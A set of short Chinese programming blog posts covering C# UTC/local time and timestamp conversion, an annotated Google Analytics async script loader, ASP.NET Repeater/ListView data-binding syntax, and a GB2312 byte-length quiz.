// 将 UTC 时间转化为本地时间
(UTC Time).ToLocalTime()

// 将本地时间转化为 UTC 时间
(Local Time).ToUniversalTime()

再次说明,本地时间和 UTC 时间都是 DateTime 对象,关键看定义的时候是 Local 还是 Utc

// 本地时间 1970/1/1 8:00:00 的时间戳
(new DateTime(1970, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回:0

// 本地时间 2000/1/1 8:00:00 的时间戳
(new DateTime(2000, 1, 1, 8, 0, 0) - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds
// 返回:946684800

// 本地时间 当前 的时间戳
(DateTime.Now - DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime()).TotalSeconds


// 将时间戳 946684800 转换为本地时间
DateTime.SpecifyKind(new DateTime(1970, 1, 1), DateTimeKind.Utc).ToLocalTime().AddSeconds(946684800)

实战:

如果我们要将时间戳精确到毫秒,那么 JS 直接 .getTime() 即可,不需要 / 1000,C# 将它转换为本地时间时用 AddMilliseconds 代替 AddSeconds。

中国跨越了多个时区却统一使用北京时间,所以国内网站只要记录本地时间即可;如果做国际站或者有不同国家的访客,除非全部由服务器端获取时间,否则客户端 JS 的本地时间(非时间戳)都需要转换成 UTC 时间来跟服务端的时间进行运算和保存,推荐使用时间戳在客户端和服务端之间传递,因为时间戳与时区无关,它是两个相同性质的时间(同为本地时间或同为 UTC 时间)的差值。

xoyozo 9 年前
14,409

最近要做个简单的类似 CNZZ 和百度统计的统计器,不可避免地遇到 JS 文件异步加载 和 给 JS 文件传参 的问题。

参考了 CNZZ 的代码以后,在 Chrome 的控制台发现以下警告:

A Parser-blocking, cross-origin script, http://s4.cnzz.com/stat.php?***, is invoked via document.write. This may be blocked by the browser if the device has poor network connectivity. See https://www.chromestatus.com/feature/5718547946799104 for more details.

Paul Kinlan 给出了解释,是因为使用了 document.write() 的方式输出了 <script src="***" /> HTML DOM,建议改成 document.appendChild() 或 parentNode.insertBefore(),最好的例子就是 Google Analytics

<!-- Google Analytics -->
<script>(function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){
(i[r].q=i[r].q||[]).push(arguments)},i[r].l=1*new Date();a=s.createElement(o),
m=s.getElementsByTagName(o)[0];a.async=1;a.src=g;m.parentNode.insertBefore(a,m)
})(window,document,'script','https://www.google-analytics.com/analytics.js','ga');
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');
</script>
<!-- End Google Analytics -->

上述 JavaScript 跟踪代码段可以确保该脚本在所有浏览器中加载和异步执行。

加了一些注释,便于理解,官方英文版

(function (i, s, o, g, r, a, m) {
  i['GoogleAnalyticsObject'] = r;
  // console.log(window['GoogleAnalyticsObject']) // 'ga'
  // console.log(i[r]) // undefined
  i[r] = i[r] || function () { // i[r] 就是 window['ga'],定义了一个函数
    (i[r].q = i[r].q || []).push(arguments) // 往 ga.q 这个数组中增加一项
  },
  i[r].l = 1 * new Date(); // 时间戳,写法等同于 new Date().getTime()
  // console.log(i[r]) // window['ga'] 就是上面那个 function
  a = s.createElement(o), // 创建一个 script 元素
  m = s.getElementsByTagName(o)[0]; // 文档中的第一个脚本(文档中肯定至少已有一个脚本了)
  a.async = 1; // 异步加载
  a.defer = 1; // 兼容旧浏览器(我自己加的)
  a.src = g;
  m.parentNode.insertBefore(a, m) // 将 a 脚本插入到 m 脚本之前
})(window, document, 'script', 'http://***/***.js', 'ga');
// i s o g r
ga('create', 'UA-XXXXX-Y', 'auto');
ga('send', 'pageview');

过程是:

创建了一个 <script> 元素,并异步加载 http://***/***.js;初始化了一个全局函数 ga;在 ga() 命令队列中添加了两条命令。

现在我们可以在这个外部 js 中使用 ga.q 这个对象中的数据了,示例:

;(function () {
  console.log(ga.q);
})(window);

简单补充下,async 是 HTML5 属性,使支持异步加载 JS 文件;defer 只支持 IE,作用类似。

测试异步只需要将 js 文件换成服务端页面,并人为设置 sleep 时间即可,阻塞式调用的话会在加载 js 时暂停后续页面的渲染。

xoyozo 9 年前
7,876

Repeater
索引 <%# Container.ItemIndex %>
输出项 <%# Container.DataItem %><%# GetDataItem() %>

ListView
索引 <%# Container.DataItemIndex %>
输出项 <%# GetDataItem() %>

 

以 fiels 的内容为 <span style="color: red;">你好</span> 为例:

语法 HTML 源代码输出结果 浏览器展示结果 备注
<%# Eval("field") %> <span style="color: red;">你好</span> 你好 一般绑定
<%#: Eval("field") %> &lt;span style=&quot;color: red;&quot;&gt;你好&lt;/span&gt; <span style="color: red;">你好</span> HtmlEncode 效果绑定

 

xoyozo 16 年前
3,983
string str = "abcd某某某"; 
int i = System.Text.Encoding.GetEncoding("GB2312").GetBytes(str).Length; 
int j = str.Length; 

问:i = j =

答:i = 10, j = 7

xoyozo 15 年前
5,351